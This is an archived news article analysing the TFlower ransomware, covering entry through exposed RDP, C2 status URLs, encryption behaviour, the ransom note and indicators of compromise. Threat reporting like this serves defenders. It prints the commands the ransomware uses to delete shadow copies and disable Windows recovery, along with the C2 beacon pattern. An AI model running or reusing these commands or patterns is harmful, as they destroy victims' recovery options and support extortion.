TFlower Ransomware - The Latest Attack Targeting Businesses
By Lawrence Abrams
Published: 2019-09-17 · Archived: 2026-04-05 14:27:20 UTC
The latest ransomware targeting corporate environments is called TFlower and is being installed on networks after attackers
hack into exposed Remote Desktop services.
With the huge payments being earned by ransomware developers as they target businesses and government agencies, it is
not surprising to see new ransomware being developed to take advantage of this surge in high ransoms.
Such is the case with the TFlower ransomware, which was discovered in the wild in early August. At the time it was just
thought to be another generic ransomware, but sources who have performed incident response involving this ransomware
have told BleepingComputer that its activity is beginning to pick up.
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 1 of 6

0:00
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 2 of 6

Visit Advertiser websiteGO TO PAGE
Gaining access via RDP
TFlower is being installed in a corporate network through exposed Remote Desktop services that are being hacked by
attackers.
Once the attackers gain access to the machine, they will infect the local machine or may attempt to traverse the network
through tools such as PowerShell Empire, PSExec, etc.
When executed, the ransomware will display a console that shows the activity being performed by the ransomware while it
is encrypting a computer.
TFlower Console
It then connects back to the command and control server in order to give a status check that it has started encrypting a
computer. In one of the samples seen by BleepingComputer, this C2 is located on a hacked wordpress site and uses the
following URL:
https://www.domain.com/wp-includes/wp-merge.php?name=[computer_name]&state=start
It will then attempt to clear the Shadow Volume Copies and execute commands that disable the Windows 10 repair
environment.
vssadmin.exe delete shadows /all /quiet
bcdedit.exe /set {default} recoveryenabled no
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {current} recoveryenabled no
bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
It also looks for and terminates the Outlook.exe process in order to allow its data files to be open for encrypting.
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 3 of 6

Terminating the outlook.exe process
It will then proceed to encrypt the data on the computer, skipping any files in the Windows or Sample Music folders. 
When encrypting files, it will not add an extension, but will prepend the *tflower marker and what appears to be the
encrypted encryption key for the file as shown below.
Encrypted TFlower File
When done encrypting a computer, it will send another status update to the C2 in the form of:
https://www.domain.com/wp-includes/wp-merge.php?name=[computer_name]&state=success%20[encrypted_file_count],%20retry%20[r
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 4 of 6

Victims will now find a ransom notes named !_Notice_!.txt placed throughout the computer and on the Windows Desktop.
This ransom note will instruct victims to contact the flower.harris@protonmail.com or flower.harris@tutanota.com
email addresses for payment instructions.
TFlower Ransom Note
It is not known how much the ransom amounts are at this time.
TFlower is still being researched, so it is not known at this time if there are any weaknesses in the encryption that could
allow a user to get their files back for free.
IOCs
Hashes:
6c75998580fb05c01b10f4703299ffd782bec55c8765c030b8a4760fff6045fe
Associated Files:
!_Notice_!.txt
chilli.exe
Registry Entries:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "proxycap"="[path_to]\[ransomware].exe"
Associated Email Addresses:
flower.harris@protonmail.com
flower.harris@tutanota.com
Ransom Note Text:
 IMPORTANT NOTICE THAT IS URGENT AND TRUE
 =================================================================
Dear Sir/Ma,
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 5 of 6

Sorry to inform you but many files of your COMPANY has just been ENCRYPTED with a STRONG key.
This simply means that you will not be able to use your files until it is decrypted by the same key used in encrypting it
TO get the DECRYPT TOOL for your COMPANY, you have to make payment to us so as to recover your files.
 NOTE
 ======================================================================
You may upload 1 of your encrypted files to test the decryption for free.
But, the file should not contain any valuable information.
E-MAIL Address:=>>
flower.harris@protonmail.com
flower.harris@tutanota.com
Automated Pentesting Covers Only 1 of 6 Surfaces.
Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.
This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic
questions for any tool evaluation.
Source: https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
Page 6 of 6